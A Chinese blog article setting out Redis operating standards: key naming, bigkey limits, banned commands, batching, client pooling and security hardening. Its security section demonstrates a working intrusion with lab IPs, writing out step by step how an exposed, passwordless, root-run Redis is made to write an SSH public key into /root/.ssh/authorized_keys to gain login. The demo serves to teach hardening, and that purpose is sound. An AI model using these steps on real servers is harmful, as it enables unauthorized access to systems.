作者简介
马听,多年 DBA 实战经验,对 MySQL、 Redis、ClickHouse 等数据库有一定了解,专栏《一线数据库工程师带你深入理解 MySQL》作者。
审稿人
无为,前饿了么 MySQL DBA,现就职于某知名互联网公司,对 MySQL、 Redis、PostgrepSQL 等主流数据库有一定了解,拥有丰富的一线运维经验。
这是专栏《Redis 运维实战》的最后一篇,感谢您的阅读。也感谢 9 篇文章的审稿人:无为,提出了多个修改建议,让文章内容更全面。
由于能力有限,系列文章难免会存在错误或者遗漏,如果您有任何建议,可以在对应的文章下留言或者私信给“悦专栏”公众号,我们会第一时间进行反馈。
下面进入今天的内容:Redis 规范。
1 键值设计
1.1 key 名设计
建议 key name 设计:业务名:表名:id
比如:
school:student:1
要求:不包含特殊字符
1.2 value 设计
string 类型控制在 10 KB 以内,hash、list、set、zset 元素个数不要超过 5000。
因为Bigkey 存在一些危害:
由于 Redis 单线程特性,Bigkey 可能会导致超时阻塞。
每次获取 Bigkey 产生的网络流量较大,可能会导致网络阻塞。
如果是 Redis Cluster,可能会导致内存空间分布不均匀。
1.3 控制 key 的生命周期
建议使用 expire 设置 key 的过期时间,防止 Redis 中残留大量的废弃数据,Redis 不是垃圾桶,内存很贵滴。
2 命令规范
2.1 禁止使用的命令
keys
flushall
flushdb
等等。
2.2 适量获取
例如 hgetall、lrange、smembers、zrange、sinter 需要设置范围,以保证每次获取少量的元素。如果有遍历所有元素的需求,可以使用 hscan、sscan、zscan 代替。
2.3 使用批量命令提高效率
比如:mget、mset(需要注意的是可能有些分布式集群不支持),或者使用 pipeline。
2.4 不建议使用 Redis 事务
因为 Redis 事务不支持回滚,而且集群版本要求一个事务操作的 key 必须在一个 slot 上。
2.5 monitor 命令
monitor 命令不建议使用过久,如果需要确定 hotkey,可运行 1s,一般就可看到哪些是 hotkey 了。
2.6 bigkey 删除
如果 key 类型为 string,则直接删除;
如果 key 类型为 hash、list、set、sorted set,使用 hscan 命令,每次获取部分(例如 100个)field-value,再利用 hdel 删除每个 field;
Redis 在 4.0 版本支持 lazy delete free 的模式,删除 bigkey 不会阻塞 Redis。
2.7 集群模式禁止使用发布订阅
在目前集群模式中使用发布订阅, 节点会将接收到的信息广播至集群中的其他所有节点,可能会导致网络问题,因此不建议使用。
3 安全相关
在讲解 Redis 安全规范前,我们先来做一个通过 Redis 攻破远程服务器的实验:
首先我在 A 机器(CentOS 7.4,IP 为:192.168.150.253)以 root 用户运行了一个 Redis 实例(Redis 版本:6.0.8)
在 B 机器(CentOS 7.4,IP 为:192.168.150.232)执行:
ssh 192.168.150.253
发现需要输入密码才能连接
将 B 机器的公钥(如果没公钥,则自行生成一个)格式化写入 foo.txt
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > foo.txt
执行下面的命令,将 foo.txt 的内容做为键 aaa 的 value:
cat foo.txt |redis-cli -h 192.168.150.253 -x set aaa
在 B 机器连接 A 机器部署的 Redis
redis-cli -h 192.168.150.253
执行下面命令,改变 Redis 的数据目录为 /root/.ssh
config set dir /root/.ssh
执行下面命令,设置 Redis 的 RDB 文件名为 authorized_keys
config set dbfilename "authorized_keys"
然后执行落盘命令
bgsave
最后在 B 机器尝试连接 A 机器
ssh 192.168.150.253
发现竟然成功免密登录了 A 机器,因此说明利用 Redis 这个漏洞植入公钥成功。
总结上面的步骤,发现 A 机器上部署的 Redis 存在至少 3 个问题:
使用 root 用户运行 Redis
Redis 使用了默认端口
Redis 未设置密码
因此,对于 Redis 安全相关,建议规范如下:
3.1 禁止 root 用户启动 Redis
上面的实验正是利用 root 用户启动的特性来重置的 authorized_keys,如果是普通用户,则无权限重置 authorized_keys。
3.2 避免使用默认端口
默认端口被扫描的概率非常高,因此换成其他端口可以降低被扫描登录的风险
3.3 Redis 不开放外网
Redis 如果开放外网,大大增加了被攻击的概率,正如上面实验,如果开放外网,并且使用了默认端口,也没设置密码,那攻击者可以轻而易举的登录上服务器。
3.4 设置密码认证
如上面的实验,如果设置了密码,那攻击者在登录 Redis 这一步就被挡了,那也就重置不了 authorized_keys 文件。因此也建议对 Redis 设置密码。
4 客户端使用
4.1 禁止多个应用使用一套 Redis 实例
多个应用使用一套 Redis 实例,可能会出现性能互相影响的情况,甚至可能发生 key name 冲突。
4.2 冷热数据区分
将冷热数据分开存储,比如将低频数据放在 MySQL 或者其他数据库中,Redis 中存放热数据。毕竟内存比磁盘贵。
4.3 连接池
频繁创建和销毁连接,会浪费大量资源。因此可以合理使用连接池,防止频繁创建和销毁连接。
欢迎加入 Redis 交流社群
群内不定期邀请一些身边的 Redis 大牛
交流分享,解答工作中遇到的的问题
分享工作经验、(微yzlkf09)面试技巧等!
也欢迎各位大牛投稿,内容可以是数据库、开发、运维、产品、运营等!
悦专栏 LIKECOLUMN
在这里,学好编程
做更优秀的 IT人!